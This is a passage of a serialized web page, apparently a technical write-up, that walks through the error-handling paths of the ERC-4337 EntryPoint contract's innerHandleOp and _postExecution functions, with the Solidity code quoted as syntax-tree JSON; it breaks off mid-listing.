gas\"",{"type":24,"tag":83,"props":104775,"children":104776},{"style":107},[104777],{"type":29,"value":581},{"type":24,"tag":83,"props":104779,"children":104780},{"class":85,"line":23248},[104781,104785,104789,104793,104797,104801],{"type":24,"tag":83,"props":104782,"children":104783},{"style":107},[104784],{"type":29,"value":70309},{"type":24,"tag":83,"props":104786,"children":104787},{"style":117},[104788],{"type":29,"value":378},{"type":24,"tag":83,"props":104790,"children":104791},{"style":117},[104792],{"type":29,"value":383},{"type":24,"tag":83,"props":104794,"children":104795},{"style":107},[104796],{"type":29,"value":104725},{"type":24,"tag":83,"props":104798,"children":104799},{"style":143},[104800],{"type":29,"value":8320},{"type":24,"tag":83,"props":104802,"children":104803},{"style":107},[104804],{"type":29,"value":104805}," INNER_REVERT_LOW_PREFUND) {\n",{"type":24,"tag":83,"props":104807,"children":104808},{"class":85,"line":23283},[104809],{"type":24,"tag":83,"props":104810,"children":104811},{"style":2735},[104812],{"type":29,"value":104813},"                // innerCall reverted on prefund too low. treat entire prefund as \"gas cost\"\n",{"type":24,"tag":83,"props":104815,"children":104816},{"class":85,"line":23291},[104817,104821,104826,104830,104835,104839,104844,104848,104852],{"type":24,"tag":83,"props":104818,"children":104819},{"style":3163},[104820],{"type":29,"value":102993},{"type":24,"tag":83,"props":104822,"children":104823},{"style":107},[104824],{"type":29,"value":104825}," actualGas ",{"type":24,"tag":83,"props":104827,"children":104828},{"style":143},[104829],{"type":29,"value":1275},{"type":24,"tag":83,"props":104831,"children":104832},{"style":107},[104833],{"type":29,"value":104834}," preGas ",{"type":24,"tag":83,"props":104836,"children":104837},{"style":143},[104838],{"type":29,"value":4072},{"type":24,"tag":83,"props":104840,"children":104841},{"style":90},[104842],{"type":29,"value":104843}," gasleft",{"type":24,"tag":83,"props":104845,"children":104846},{"style":107},[104847],{"type":29,"value":13788},{"type":24,"tag":83,"props":104849,"children":104850},{"style":143},[104851],{"type":29,"value":4126},{"type":24,"tag":83,"props":104853,"children":104854},{"style":107},[104855],{"type":29,"value":104856}," opInfo.preOpGas;\n",{"type":24,"tag":83,"props":104858,"children":104859},{"class":85,"line":23299},[104860,104864,104868,104872],{"type":24,"tag":83,"props":104861,"children":104862},{"style":3163},[104863],{"type":29,"value":102993},{"type":24,"tag":83,"props":104865,"children":104866},{"style":107},[104867],{"type":29,"value":103640},{"type":24,"tag":83,"props":104869,"children":104870},{"style":143},[104871],{"type":29,"value":1275},{"type":24,"tag":83,"props":104873,"children":104874},{"style":107},[104875],{"type":29,"value":104876}," opInfo.prefund;\n",{"type":24,"tag":83,"props":104878,"children":104879},{"class":85,"line":23308},[104880,104885],{"type":24,"tag":83,"props":104881,"children":104882},{"style":101},[104883],{"type":29,"value":104884},"                _emitPrefundTooLow",{"type":24,"tag":83,"props":104886,"children":104887},{"style":107},[104888],{"type":29,"value":104889},"(opInfo);\n",{"type":24,"tag":83,"props":104891,"children":104892},{"class":85,"line":23350},[104893,104898,104903,104907],{"type":24,"tag":83,"props":104894,"children":104895},{"style":101},[104896],{"type":29,"value":104897},"                _emitUserOperationEvent",{"type":24,"tag":83,"props":104899,"children":104900},{"style":107},[104901],{"type":29,"value":104902},"(opInfo, ",{"type":24,"tag":83,"props":104904,"children":104905},{"style":90},[104906],{"type":29,"value":1617},{"type":24,"tag":83,"props":104908,"children":104909},{"style":107},[104910],{"type":29,"value":104911},", actualGasCost, actualGas);\n",{"type":24,"tag":83,"props":104913,"children":104914},{"class":85,"line":23383},[104915,104919,104923],{"type":24,"tag":83,"props":104916,"children":104917},{"style":107},[104918],{"type":29,"value":104638},{"type":24,"tag":83,"props":104920,"children":104921},{"style":143},[104922],{"type":29,"value":1275},{"type":24,"tag":83,"props":104924,"children":104925},{"style":107},[104926],{"type":29,"value":104927}," actualGasCost;\n",{"type":24,"tag":83,"props":104929,"children":104930},{"class":85,"line":23391},[104931,104935,104939],{"type":24,"tag":83,"props":104932,"children":104933},{"style":107},[104934],{"type":29,"value":70309},{"type":24,"tag":83,"props":104936,"children":104937},{"style":117},[104938],{"type":29,"value":378},{"type":24,"tag":83,"props":104940,"children":104941},{"style":107},[104942],{"type":29,"value":125},{"type":24,"tag":83,"props":104944,"children":104945},{"class":85,"line":23399},[104946],{"type":24,"tag":83,"props":104947,"children":104948},{"style":107},[104949],{"type":29,"value":104334},{"type":24,"tag":83,"props":104951,"children":104952},{"class":85,"line":23408},[104953,104957,104961,104966],{"type":24,"tag":83,"props":104954,"children":104955},{"style":107},[104956],{"type":29,"value":104638},{"type":24,"tag":83,"props":104958,"children":104959},{"style":143},[104960],{"type":29,"value":1275},{"type":24,"tag":83,"props":104962,"children":104963},{"style":101},[104964],{"type":29,"value":104965}," _postExecution",{"type":24,"tag":83,"props":104967,"children":104968},{"style":107},[104969],{"type":29,"value":3208},{"type":24,"tag":83,"props":104971,"children":104972},{"class":85,"line":23484},[104973],{"type":24,"tag":83,"props":104974,"children":104975},{"style":107},[104976],{"type":29,"value":104977},"                    IPaymaster.PostOpMode.postOpReverted,\n",{"type":24,"tag":83,"props":104979,"children":104980},{"class":85,"line":23517},[104981],{"type":24,"tag":83,"props":104982,"children":104983},{"style":107},[104984],{"type":29,"value":104985},"                    opInfo,\n",{"type":24,"tag":83,"props":104987,"children":104988},{"class":85,"line":23525},[104989],{"type":24,"tag":83,"props":104990,"children":104991},{"style":107},[104992],{"type":29,"value":104993},"                    context,\n",{"type":24,"tag":83,"props":104995,"children":104996},{"class":85,"line":23533},[104997],{"type":24,"tag":83,"props":104998,"children":104999},{"style":107},[105000],{"type":29,"value":105001},"                    actualGas\n",{"type":24,"tag":83,"props":105003,"children":105004},{"class":85,"line":23570},[105005],{"type":24,"tag":83,"props":105006,"children":105007},{"style":107},[105008],{"type":29,"value":105009},"                );\n",{"type":24,"tag":83,"props":105011,"children":105012},{"class":85,"line":23583},[105013],{"type":24,"tag":83,"props":105014,"children":105015},{"style":107},[105016],{"type":29,"value":58599},{"type":24,"tag":83,"props":105018,"children":105019},{"class":85,"line":23596},[105020],{"type":24,"tag":83,"props":105021,"children":105022},{"style":107},[105023],{"type":29,"value":3092},{"type":24,"tag":83,"props":105025,"children":105026},{"class":85,"line":23609},[105027],{"type":24,"tag":83,"props":105028,"children":105029},{"style":107},[105030],{"type":29,"value":446},{"type":24,"tag":25,"props":105032,"children":105033},{},[105034,105036,105041,105043,105049,105051,105057,105059,105065],{"type":29,"value":105035},"During execution, the ",{"type":24,"tag":32,"props":105037,"children":105039},{"className":105038},[],[105040],{"type":29,"value":101796},{"type":29,"value":105042}," contract makes a ",{"type":24,"tag":2033,"props":105044,"children":105047},{"href":105045,"rel":105046},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L222-L232",[2037],[105048],{"type":29,"value":553},{"type":29,"value":105050}," to its own ",{"type":24,"tag":32,"props":105052,"children":105054},{"className":105053},[],[105055],{"type":29,"value":105056},"innerHandleOp",{"type":29,"value":105058}," function through a low-level ",{"type":24,"tag":32,"props":105060,"children":105062},{"className":105061},[],[105063],{"type":29,"value":105064},"call()",{"type":29,"value":105066},". This is done to create a new call context for executing the user operation.",{"type":24,"tag":25,"props":105068,"children":105069},{},[105070,105072,105078,105079,105084,105086,105093,105095,105101],{"type":29,"value":105071},"If this call fails (when ",{"type":24,"tag":32,"props":105073,"children":105075},{"className":105074},[],[105076],{"type":29,"value":105077},"success",{"type":29,"value":5246},{"type":24,"tag":32,"props":105080,"children":105082},{"className":105081},[],[105083],{"type":29,"value":1617},{"type":29,"value":105085},"), the code enters an ",{"type":24,"tag":2033,"props":105087,"children":105090},{"href":105088,"rel":105089},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L235-L273",[2037],[105091],{"type":29,"value":105092},"error handling",{"type":29,"value":105094}," flow that checks the ",{"type":24,"tag":32,"props":105096,"children":105098},{"className":105097},[],[105099],{"type":29,"value":105100},"innerRevertCode",{"type":29,"value":105102},". There are three possible paths:",{"type":24,"tag":63,"props":105104,"children":105105},{},[105106,105130,105148],{"type":24,"tag":67,"props":105107,"children":105108},{},[105109,105110,105115,105116,105122,105124,105129],{"type":29,"value":7227},{"type":24,"tag":32,"props":105111,"children":105113},{"className":105112},[],[105114],{"type":29,"value":105100},{"type":29,"value":5246},{"type":24,"tag":32,"props":105117,"children":105119},{"className":105118},[],[105120],{"type":29,"value":105121},"INNER_OUT_OF_GAS",{"type":29,"value":105123},", it means the bundler didn't provide enough gas for execution. This causes the entire bundle to fail with ",{"type":24,"tag":32,"props":105125,"children":105127},{"className":105126},[],[105128],{"type":29,"value":104773},{"type":29,"value":161},{"type":24,"tag":67,"props":105131,"children":105132},{},[105133,105134,105139,105140,105146],{"type":29,"value":7227},{"type":24,"tag":32,"props":105135,"children":105137},{"className":105136},[],[105138],{"type":29,"value":105100},{"type":29,"value":5246},{"type":24,"tag":32,"props":105141,"children":105143},{"className":105142},[],[105144],{"type":29,"value":105145},"INNER_REVERT_LOW_PREFUND",{"type":29,"value":105147},", it means the user didn't prefund enough gas. In this case, it charges the entire prefund amount as gas cost.",{"type":24,"tag":67,"props":105149,"children":105150},{},[105151,105153,105159,105161,105167],{"type":29,"value":105152},"For any other revert reason, the code will still call ",{"type":24,"tag":32,"props":105154,"children":105156},{"className":105155},[],[105157],{"type":29,"value":105158},"_postExecution()",{"type":29,"value":105160}," but with ",{"type":24,"tag":32,"props":105162,"children":105164},{"className":105163},[],[105165],{"type":29,"value":105166},"PostOpMode.postOpReverted",{"type":29,"value":105168},". This ensures proper cleanup happens even on failure.",{"type":24,"tag":25,"props":105170,"children":105171},{},[105172,105174,105179,105181,105186,105188,105193,105195,105200],{"type":29,"value":105173},"We're particularly interested in the third error path, where ",{"type":24,"tag":32,"props":105175,"children":105177},{"className":105176},[],[105178],{"type":29,"value":105100},{"type":29,"value":105180}," is neither ",{"type":24,"tag":32,"props":105182,"children":105184},{"className":105183},[],[105185],{"type":29,"value":105121},{"type":29,"value":105187}," nor ",{"type":24,"tag":32,"props":105189,"children":105191},{"className":105190},[],[105192],{"type":29,"value":105145},{"type":29,"value":105194},". To understand this case better, let's examine how ",{"type":24,"tag":32,"props":105196,"children":105198},{"className":105197},[],[105199],{"type":29,"value":105056},{"type":29,"value":105201}," works.",{"type":24,"tag":73,"props":105203,"children":105205},{"className":4220,"code":105204,"language":4219,"meta":7,"style":7},"    function innerHandleOp(\n        bytes memory callData,\n        UserOpInfo memory opInfo,\n        bytes calldata context\n    ) external returns (uint256 actualGasCost) {\n    [...]\n        IPaymaster.PostOpMode mode = IPaymaster.PostOpMode.opSucceeded;\n        if (callData.length > 0) {\n            bool success = Exec.call(mUserOp.sender, 0, callData, callGasLimit);\n            if (!success) {\n                uint256 freePtr = _getFreePtr();\n                bytes memory result = Exec.getReturnData(REVERT_REASON_MAX_LEN);\n                if (result.length > 0) {\n                    emit UserOperationRevertReason(\n                        opInfo.userOpHash,\n                        mUserOp.sender,\n                        mUserOp.nonce,\n                        result\n                    );\n                }\n                _restoreFreePtr(freePtr);\n                mode = IPaymaster.PostOpMode.opReverted;\n            }\n        }\n\n        unchecked {\n            uint256 actualGas = preGas - gasleft() + opInfo.preOpGas;\n            return _postExecution(mode, opInfo, context, actualGas);\n        }\n    }\n",[105206],{"type":24,"tag":32,"props":105207,"children":105208},{"__ignoreMap":7},[105209,105225,105246,105266,105282,105315,105322,105339,105363,105403,105422,105447,105481,105505,105522,105530,105538,105546,105554,105562,105569,105582,105599,105606,105613,105620,105631,105670,105686,105693],{"type":24,"tag":83,"props":105210,"children":105211},{"class":85,"line":86},[105212,105216,105221],{"type":24,"tag":83,"props":105213,"children":105214},{"style":90},[105215],{"type":29,"value":89544},{"type":24,"tag":83,"props":105217,"children":105218},{"style":101},[105219],{"type":29,"value":105220}," innerHandleOp",{"type":24,"tag":83,"props":105222,"children":105223},{"style":107},[105224],{"type":29,"value":3208},{"type":24,"tag":83,"props":105226,"children":105227},{"class":85,"line":113},[105228,105233,105237,105242],{"type":24,"tag":83,"props":105229,"children":105230},{"style":3163},[105231],{"type":29,"value":105232},"        bytes",{"type":24,"tag":83,"props":105234,"children":105235},{"style":90},[105236],{"type":29,"value":102613},{"type":24,"tag":83,"props":105238,"children":105239},{"style":137},[105240],{"type":29,"value":105241}," callData",{"type":24,"tag":83,"props":105243,"children":105244},{"style":107},[105245],{"type":29,"value":989},{"type":24,"tag":83,"props":105247,"children":105248},{"class":85,"line":128},[105249,105253,105257,105262],{"type":24,"tag":83,"props":105250,"children":105251},{"style":90},[105252],{"type":29,"value":104273},{"type":24,"tag":83,"props":105254,"children":105255},{"style":90},[105256],{"type":29,"value":102613},{"type":24,"tag":83,"props":105258,"children":105259},{"style":137},[105260],{"type":29,"value":105261}," opInfo",{"type":24,"tag":83,"props":105263,"children":105264},{"style":107},[105265],{"type":29,"value":989},{"type":24,"tag":83,"props":105267,"children":105268},{"class":85,"line":183},[105269,105273,105277],{"type":24,"tag":83,"props":105270,"children":105271},{"style":3163},[105272],{"type":29,"value":105232},{"type":24,"tag":83,"props":105274,"children":105275},{"style":90},[105276],{"type":29,"value":102545},{"type":24,"tag":83,"props":105278,"children":105279},{"style":137},[105280],{"type":29,"value":105281}," context\n",{"type":24,"tag":83,"props":105283,"children":105284},{"class":85,"line":203},[105285,105290,105295,105299,105303,105307,105311],{"type":24,"tag":83,"props":105286,"children":105287},{"style":107},[105288],{"type":29,"value":105289},"    ) ",{"type":24,"tag":83,"props":105291,"children":105292},{"style":90},[105293],{"type":29,"value":105294},"external",{"type":24,"tag":83,"props":105296,"children":105297},{"style":117},[105298],{"type":29,"value":75708},{"type":24,"tag":83,"props":105300,"children":105301},{"style":107},[105302],{"type":29,"value":223},{"type":24,"tag":83,"props":105304,"children":105305},{"style":3163},[105306],{"type":29,"value":45887},{"type":24,"tag":83,"props":105308,"children":105309},{"style":137},[105310],{"type":29,"value":103354},{"type":24,"tag":83,"props":105312,"children":105313},{"style":107},[105314],{"type":29,"value":253},{"type":24,"tag":83,"props":105316,"children":105317},{"class":85,"line":212},[105318],{"type":24,"tag":83,"props":105319,"children":105320},{"style":107},[105321],{"type":29,"value":104334},{"type":24,"tag":83,"props":105323,"children":105324},{"class":85,"line":256},[105325,105330,105334],{"type":24,"tag":83,"props":105326,"children":105327},{"style":107},[105328],{"type":29,"value":105329},"        IPaymaster.PostOpMode mode ",{"type":24,"tag":83,"props":105331,"children":105332},{"style":143},[105333],{"type":29,"value":1275},{"type":24,"tag":83,"props":105335,"children":105336},{"style":107},[105337],{"type":29,"value":105338}," IPaymaster.PostOpMode.opSucceeded;\n",{"type":24,"tag":83,"props":105340,"children":105341},{"class":85,"line":270},[105342,105346,105351,105355,105359],{"type":24,"tag":83,"props":105343,"children":105344},{"style":117},[105345],{"type":29,"value":3018},{"type":24,"tag":83,"props":105347,"children":105348},{"style":107},[105349],{"type":29,"value":105350}," (callData.length ",{"type":24,"tag":83,"props":105352,"children":105353},{"style":143},[105354],{"type":29,"value":10209},{"type":24,"tag":83,"props":105356,"children":105357},{"style":245},[105358],{"type":29,"value":248},{"type":24,"tag":83,"props":105360,"children":105361},{"style":107},[105362],{"type":29,"value":253},{"type":24,"tag":83,"props":105364,"children":105365},{"class":85,"line":302},[105366,105371,105376,105380,105385,105389,105394,105398],{"type":24,"tag":83,"props":105367,"children":105368},{"style":3163},[105369],{"type":29,"value":105370},"            bool",{"type":24,"tag":83,"props":105372,"children":105373},{"style":107},[105374],{"type":29,"value":105375}," success ",{"type":24,"tag":83,"props":105377,"children":105378},{"style":143},[105379],{"type":29,"value":1275},{"type":24,"tag":83,"props":105381,"children":105382},{"style":107},[105383],{"type":29,"value":105384}," Exec.",{"type":24,"tag":83,"props":105386,"children":105387},{"style":101},[105388],{"type":29,"value":553},{"type":24,"tag":83,"props":105390,"children":105391},{"style":107},[105392],{"type":29,"value":105393},"(mUserOp.sender, ",{"type":24,"tag":83,"props":105395,"children":105396},{"style":245},[105397],{"type":29,"value":1166},{"type":24,"tag":83,"props":105399,"children":105400},{"style":107},[105401],{"type":29,"value":105402},", callData, callGasLimit);\n",{"type":24,"tag":83,"props":105404,"children":105405},{"class":85,"line":324},[105406,105410,105414,105418],{"type":24,"tag":83,"props":105407,"children":105408},{"style":117},[105409],{"type":29,"value":58515},{"type":24,"tag":83,"props":105411,"children":105412},{"style":107},[105413],{"type":29,"value":223},{"type":24,"tag":83,"props":105415,"children":105416},{"style":143},[105417],{"type":29,"value":20362},{"type":24,"tag":83,"props":105419,"children":105420},{"style":107},[105421],{"type":29,"value":104706},{"type":24,"tag":83,"props":105423,"children":105424},{"class":85,"line":345},[105425,105429,105434,105438,105443],{"type":24,"tag":83,"props":105426,"children":105427},{"style":3163},[105428],{"type":29,"value":102993},{"type":24,"tag":83,"props":105430,"children":105431},{"style":107},[105432],{"type":29,"value":105433}," freePtr ",{"type":24,"tag":83,"props":105435,"children":105436},{"style":143},[105437],{"type":29,"value":1275},{"type":24,"tag":83,"props":105439,"children":105440},{"style":101},[105441],{"type":29,"value":105442}," _getFreePtr",{"type":24,"tag":83,"props":105444,"children":105445},{"style":107},[105446],{"type":29,"value":267},{"type":24,"tag":83,"props":105448,"children":105449},{"class":85,"line":358},[105450,105454,105458,105463,105467,105471,105476],{"type":24,"tag":83,"props":105451,"children":105452},{"style":3163},[105453],{"type":29,"value":104390},{"type":24,"tag":83,"props":105455,"children":105456},{"style":90},[105457],{"type":29,"value":102613},{"type":24,"tag":83,"props":105459,"children":105460},{"style":107},[105461],{"type":29,"value":105462}," result ",{"type":24,"tag":83,"props":105464,"children":105465},{"style":143},[105466],{"type":29,"value":1275},{"type":24,"tag":83,"props":105468,"children":105469},{"style":107},[105470],{"type":29,"value":105384},{"type":24,"tag":83,"props":105472,"children":105473},{"style":101},[105474],{"type":29,"value":105475},"getReturnData",{"type":24,"tag":83,"props":105477,"children":105478},{"style":107},[105479],{"type":29,"value":105480},"(REVERT_REASON_MAX_LEN);\n",{"type":24,"tag":83,"props":105482,"children":105483},{"class":85,"line":367},[105484,105488,105493,105497,105501],{"type":24,"tag":83,"props":105485,"children":105486},{"style":117},[105487],{"type":29,"value":103053},{"type":24,"tag":83,"props":105489,"children":105490},{"style":107},[105491],{"type":29,"value":105492}," (result.length ",{"type":24,"tag":83,"props":105494,"children":105495},{"style":143},[105496],{"type":29,"value":10209},{"type":24,"tag":83,"props":105498,"children":105499},{"style":245},[105500],{"type":29,"value":248},{"type":24,"tag":83,"props":105502,"children":105503},{"style":107},[105504],{"type":29,"value":253},{"type":24,"tag":83,"props":105506,"children":105507},{"class":85,"line":406},[105508,105513,105518],{"type":24,"tag":83,"props":105509,"children":105510},{"style":117},[105511],{"type":29,"value":105512},"                    emit",{"type":24,"tag":83,"props":105514,"children":105515},{"style":101},[105516],{"type":29,"value":105517}," UserOperationRevertReason",{"type":24,"tag":83,"props":105519,"children":105520},{"style":107},[105521],{"type":29,"value":3208},{"type":24,"tag":83,"props":105523,"children":105524},{"class":85,"line":427},[105525],{"type":24,"tag":83,"props":105526,"children":105527},{"style":107},[105528],{"type":29,"value":105529},"                        opInfo.userOpHash,\n",{"type":24,"tag":83,"props":105531,"children":105532},{"class":85,"line":440},[105533],{"type":24,"tag":83,"props":105534,"children":105535},{"style":107},[105536],{"type":29,"value":105537},"                        mUserOp.sender,\n",{"type":24,"tag":83,"props":105539,"children":105540},{"class":85,"line":449},[105541],{"type":24,"tag":83,"props":105542,"children":105543},{"style":107},[105544],{"type":29,"value":105545},"                        mUserOp.nonce,\n",{"type":24,"tag":83,"props":105547,"children":105548},{"class":85,"line":458},[105549],{"type":24,"tag":83,"props":105550,"children":105551},{"style":107},[105552],{"type":29,"value":105553},"                        result\n",{"type":24,"tag":83,"props":105555,"children":105556},{"class":85,"line":1065},[105557],{"type":24,"tag":83,"props":105558,"children":105559},{"style":107},[105560],{"type":29,"value":105561},"                    );\n",{"type":24,"tag":83,"props":105563,"children":105564},{"class":85,"line":1668},[105565],{"type":24,"tag":83,"props":105566,"children":105567},{"style":107},[105568],{"type":29,"value":70786},{"type":24,"tag":83,"props":105570,"children":105571},{"class":85,"line":1713},[105572,105577],{"type":24,"tag":83,"props":105573,"children":105574},{"style":101},[105575],{"type":29,"value":105576},"                _restoreFreePtr",{"type":24,"tag":83,"props":105578,"children":105579},{"style":107},[105580],{"type":29,"value":105581},"(freePtr);\n",{"type":24,"tag":83,"props":105583,"children":105584},{"class":85,"line":1730},[105585,105590,105594],{"type":24,"tag":83,"props":105586,"children":105587},{"style":107},[105588],{"type":29,"value":105589},"                mode ",{"type":24,"tag":83,"props":105591,"children":105592},{"style":143},[105593],{"type":29,"value":1275},{"type":24,"tag":83,"props":105595,"children":105596},{"style":107},[105597],{"type":29,"value":105598}," IPaymaster.PostOpMode.opReverted;\n",{"type":24,"tag":83,"props":105600,"children":105601},{"class":85,"line":1770},[105602],{"type":24,"tag":83,"props":105603,"children":105604},{"style":107},[105605],{"type":29,"value":58599},{"type":24,"tag":83,"props":105607,"children":105608},{"class":85,"line":1778},[105609],{"type":24,"tag":83,"props":105610,"children":105611},{"style":107},[105612],{"type":29,"value":3092},{"type":24,"tag":83,"props":105614,"children":105615},{"class":85,"line":1803},[105616],{"type":24,"tag":83,"props":105617,"children":105618},{"emptyLinePlaceholder":16},[105619],{"type":29,"value":3422},{"type":24,"tag":83,"props":105621,"children":105622},{"class":85,"line":1811},[105623,105627],{"type":24,"tag":83,"props":105624,"children":105625},{"style":117},[105626],{"type":29,"value":102649},{"type":24,"tag":83,"props":105628,"children":105629},{"style":107},[105630],{"type":29,"value":125},{"type":24,"tag":83,"props":105632,"children":105633},{"class":85,"line":8792},[105634,105638,105642,105646,105650,105654,105658,105662,105666],{"type":24,"tag":83,"props":105635,"children":105636},{"style":3163},[105637],{"type":29,"value":102661},{"type":24,"tag":83,"props":105639,"children":105640},{"style":107},[105641],{"type":29,"value":104825},{"type":24,"tag":83,"props":105643,"children":105644},{"style":143},[105645],{"type":29,"value":1275},{"type":24,"tag":83,"props":105647,"children":105648},{"style":107},[105649],{"type":29,"value":104834},{"type":24,"tag":83,"props":105651,"children":105652},{"style":143},[105653],{"type":29,"value":4072},{"type":24,"tag":83,"props":105655,"children":105656},{"style":90},[105657],{"type":29,"value":104843},{"type":24,"tag":83,"props":105659,"children":105660},{"style":107},[105661],{"type":29,"value":13788},{"type":24,"tag":83,"props":105663,"children":105664},{"style":143},[105665],{"type":29,"value":4126},{"type":24,"tag":83,"props":105667,"children":105668},{"style":107},[105669],{"type":29,"value":104856},{"type":24,"tag":83,"props":105671,"children":105672},{"class":85,"line":8810},[105673,105677,105681],{"type":24,"tag":83,"props":105674,"children":105675},{"style":117},[105676],{"type":29,"value":78790},{"type":24,"tag":83,"props":105678,"children":105679},{"style":101},[105680],{"type":29,"value":104965},{"type":24,"tag":83,"props":105682,"children":105683},{"style":107},[105684],{"type":29,"value":105685},"(mode, opInfo, context, actualGas);\n",{"type":24,"tag":83,"props":105687,"children":105688},{"class":85,"line":8855},[105689],{"type":24,"tag":83,"props":105690,"children":105691},{"style":107},[105692],{"type":29,"value":3092},{"type":24,"tag":83,"props":105694,"children":105695},{"class":85,"line":8961},[105696],{"type":24,"tag":83,"props":105697,"children":105698},{"style":107},[105699],{"type":29,"value":446},{"type":24,"tag":25,"props":105701,"children":105702},{},[105703,105705,105710,105712,105717,105719,105725,105727,105733,105735,105740,105742,105752],{"type":29,"value":105704},"We observe that, in the happy path, ",{"type":24,"tag":32,"props":105706,"children":105708},{"className":105707},[],[105709],{"type":29,"value":105056},{"type":29,"value":105711}," is expected to not only execute the actual ",{"type":24,"tag":32,"props":105713,"children":105715},{"className":105714},[],[105716],{"type":29,"value":101715},{"type":29,"value":105718}," call, but also call ",{"type":24,"tag":32,"props":105720,"children":105722},{"className":105721},[],[105723],{"type":29,"value":105724},"_postExecution",{"type":29,"value":105726},". This means that the third failure handling path, which passes ",{"type":24,"tag":32,"props":105728,"children":105730},{"className":105729},[],[105731],{"type":29,"value":105732},"postOpReverted",{"type":29,"value":105734}," as its mode, happens when something goes wrong with the ",{"type":24,"tag":32,"props":105736,"children":105738},{"className":105737},[],[105739],{"type":29,"value":105724},{"type":29,"value":105741}," call ",{"type":24,"tag":2040,"props":105743,"children":105744},{},[105745,105747],{"type":29,"value":105746},"inside ",{"type":24,"tag":32,"props":105748,"children":105750},{"className":105749},[],[105751],{"type":29,"value":105056},{"type":29,"value":161},{"type":24,"tag":25,"props":105754,"children":105755},{},[105756,105758,105763],{"type":29,"value":105757},"Let's examine the ",{"type":24,"tag":32,"props":105759,"children":105761},{"className":105760},[],[105762],{"type":29,"value":105724},{"type":29,"value":105764}," code to understand where the revert might occur.",{"type":24,"tag":73,"props":105766,"children":105768},{"className":4220,"code":105767,"language":4219,"meta":7,"style":7},"    function _postExecution(\n        IPaymaster.PostOpMode mode,\n        UserOpInfo memory opInfo,\n        bytes memory context,\n        uint256 actualGas\n    ) internal virtual returns (uint256 actualGasCost) {\n    [...]\n            if (paymaster == address(0)) {\n                refundAddress = mUserOp.sender;\n            } else {\n                refundAddress = paymaster;\n                if (context.length > 0) {\n                    actualGasCost = actualGas * gasPrice;\n                    uint256 postOpPreGas = gasleft();\n                    if (mode != IPaymaster.PostOpMode.postOpReverted) {\n                        try IPaymaster(paymaster).postOp{\n                                gas: mUserOp.paymasterPostOpGasLimit\n                            }(mode, context, actualGasCost, gasPrice)\n                        // solhint-disable-next-line no-empty-blocks\n                        {} catch {\n                            bytes memory reason = Exec.getReturnData(REVERT_REASON_MAX_LEN);\n                            revert PostOpReverted(reason);\n                        }\n                    }\n                    // Calculating a penalty for unused postOp gas\n                    // note that if postOp is reverted, the maximum penalty (10% of postOpGasLimit) is charged.\n                    uint256 postOpGasUsed = postOpPreGas - gasleft();\n                    postOpUnusedGasPenalty = _getUnusedGasPenalty(postOpGasUsed, mUserOp.paymasterPostOpGasLimit);\n                }\n            }\n    [...]\n    }\n",[105769],{"type":24,"tag":32,"props":105770,"children":105771},{"__ignoreMap":7},[105772,105787,105812,105831,105850,105862,105899,105906,105938,105955,105970,105986,106010,106035,106059,106081,106099,106116,106124,106142,106158,106191,106209,106216,106223,106231,106247,106279,106301,106308,106315,106322],{"type":24,"tag":83,"props":105773,"children":105774},{"class":85,"line":86},[105775,105779,105783],{"type":24,"tag":83,"props":105776,"children":105777},{"style":90},[105778],{"type":29,"value":89544},{"type":24,"tag":83,"props":105780,"children":105781},{"style":101},[105782],{"type":29,"value":104965},{"type":24,"tag":83,"props":105784,"children":105785},{"style":107},[105786],{"type":29,"value":3208},{"type":24,"tag":83,"props":105788,"children":105789},{"class":85,"line":113},[105790,105795,105799,105803,105808],{"type":24,"tag":83,"props":105791,"children":105792},{"style":90},[105793],{"type":29,"value":105794},"        IPaymaster",{"type":24,"tag":83,"props":105796,"children":105797},{"style":107},[105798],{"type":29,"value":161},{"type":24,"tag":83,"props":105800,"children":105801},{"style":137},[105802],{"type":29,"value":103325},{"type":24,"tag":83,"props":105804,"children":105805},{"style":137},[105806],{"type":29,"value":105807}," mode",{"type":24,"tag":83,"props":105809,"children":105810},{"style":107},[105811],{"type":29,"value":989},{"type":24,"tag":83,"props":105813,"children":105814},{"class":85,"line":128},[105815,105819,105823,105827],{"type":24,"tag":83,"props":105816,"children":105817},{"style":90},[105818],{"type":29,"value":104273},{"type":24,"tag":83,"props":105820,"children":105821},{"style":90},[105822],{"type":29,"value":102613},{"type":24,"tag":83,"props":105824,"children":105825},{"style":137},[105826],{"type":29,"value":105261},{"type":24,"tag":83,"props":105828,"children":105829},{"style":107},[105830],{"type":29,"value":989},{"type":24,"tag":83,"props":105832,"children":105833},{"class":85,"line":183},[105834,105838,105842,105846],{"type":24,"tag":83,"props":105835,"children":105836},{"style":3163},[105837],{"type":29,"value":105232},{"type":24,"tag":83,"props":105839,"children":105840},{"style":90},[105841],{"type":29,"value":102613},{"type":24,"tag":83,"props":105843,"children":105844},{"style":137},[105845],{"type":29,"value":76055},{"type":24,"tag":83,"props":105847,"children":105848},{"style":107},[105849],{"type":29,"value":989},{"type":24,"tag":83,"props":105851,"children":105852},{"class":85,"line":203},[105853,105857],{"type":24,"tag":83,"props":105854,"children":105855},{"style":3163},[105856],{"type":29,"value":89722},{"type":24,"tag":83,"props":105858,"children":105859},{"style":137},[105860],{"type":29,"value":105861}," actualGas\n",{"type":24,"tag":83,"props":105863,"children":105864},{"class":85,"line":212},[105865,105869,105874,105879,105883,105887,105891,105895],{"type":24,"tag":83,"props":105866,"children":105867},{"style":107},[105868],{"type":29,"value":105289},{"type":24,"tag":83,"props":105870,"children":105871},{"style":90},[105872],{"type":29,"value":105873},"internal",{"type":24,"tag":83,"props":105875,"children":105876},{"style":90},[105877],{"type":29,"value":105878}," 